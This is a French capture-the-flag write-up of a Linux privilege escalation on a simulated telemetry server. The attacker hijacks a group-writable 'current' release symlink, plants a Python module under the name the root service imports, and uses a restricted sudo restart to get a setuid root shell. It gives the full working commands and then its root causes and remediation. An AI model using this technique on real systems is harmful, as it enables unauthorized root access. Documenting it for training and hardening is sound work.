Station Recovery — Déploiement atomique mal cloisonné
Contexte
Simulation CTF — collecteur de télémétrie d’un relais orbital, redémarrage instable après migration. Compte opérateur cadet fourni via SSH. Objectif : obtenir un shell root.
Reconnaissance
sudo -lUser cadet may run the following commands on station-recovery-619-bc93ce53:
(root) NOPASSWD: /usr/bin/supervisorctl -c /run/star-station/supervisord.conf status
(root) NOPASSWD: /usr/bin/supervisorctl -c /run/star-station/supervisord.conf restart station-collectorgroupscadet telemetry-operatorsLe fichier /run/star-station/supervisord.conf était lisible par tous (-rw-r--r--), révélant la configuration du programme station-collector :
[program:station-collector]
command=/usr/bin/python3 /opt/star-station/collector.py
user=root
directory=/opt/star-station
environment=PYTHONPATH="/var/lib/star-station/releases/current/vendor",STATION_CODEC="telemetry_413ef09293",INSTANCE_VARIANT="413ef09293"Et le code de collector.py :
module_name = os.environ["STATION_CODEC"]
codec = importlib.import_module(module_name)
...
codec.encode_record(...)Le process tourne en root et importe dynamiquement un module Python dont le nom vient d’une variable d’environnement, en cherchant dans un chemin (PYTHONPATH) dépendant d’un symlink current.
La faille
drwxrwxr-x root:telemetry-operators /var/lib/star-station/releases/
lrwxrwxrwx root:root current -> 413ef09293Le dossier releases/ était writable par le groupe telemetry-operators, sans sticky bit. cadet, membre de ce groupe, pouvait donc supprimer et recréer le symlink current, redirigeant la résolution du PYTHONPATH vers un dossier entièrement contrôlé. Pattern de “déploiement atomique” (symlink current vers une release versionnée) mal cloisonné : la permission d’écriture nécessaire à un outil de déploiement légitime était accordée à un groupe bien trop large.
Exploitation
1. Création d’une release malveillante contenant un module portant exactement le nom attendu par STATION_CODEC :
mkdir -p /var/lib/star-station/releases/pwn/vendor
cat > /var/lib/star-station/releases/pwn/vendor/telemetry_413ef09293.py << 'EOF'
import os
def encode_record(data):
os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
return str(data)
EOF2. Détournement du symlink current :
cd /var/lib/star-station/releases/
rm current && ln -s pwn current3. Déclenchement du rechargement via le droit sudo restreint :
sudo /usr/bin/supervisorctl -c /run/star-station/supervisord.conf restart station-collectorLe process root relance collector.py, qui importe telemetry_413ef09293 depuis le PYTHONPATH empoisonné, exécutant encode_record() — donc le os.system(...) — en tant que root.
4. Récupération du shell privilégié :
/tmp/rootbash -p
cat /root/flag.txt
Cause racine
- Permission d’écriture sur
releases/trop large (groupe applicatif au lieu d’un compte de déploiement dédié) - Absence de verrouillage du symlink
current(pas de propriétaire dédié, pas de sticky bit sur le parent) - Résolution dynamique de module (
importlib.import_module) basée sur une variable d’environnement elle-même influencée par un chemin modifiable - Un droit sudo “limité” (
restartuniquement) suffisait à réarmer tout le vecteur, car l’action de restart elle-même déclenchait le code attaquant
Remédiation
- Restreindre l’écriture sur
releases/à un compte de déploiement dédié (nicadet, ni le groupetelemetry-operators) - Séparer les droits : les utilisateurs opérationnels ne devraient pas pouvoir écrire dans les chemins utilisés pour résoudre du code exécuté en root
- Éviter de faire dépendre
PYTHONPATHd’un chemin modifiable par un utilisateur non privilégié - Si l’import dynamique par variable d’environnement est nécessaire, whitelister strictement les noms de modules autorisés
Ce que j’ai appris
Un droit sudo en apparence anodin (restart d’un service) devient un vecteur complet dès lors qu’il déclenche du code dont un utilisateur non privilégié contrôle le chemin de résolution. La vraie faille n’est pas le sudo, mais la permission d’écriture sur releases/ : c’est le maillon à auditer en premier sur tout mécanisme de déploiement par symlink.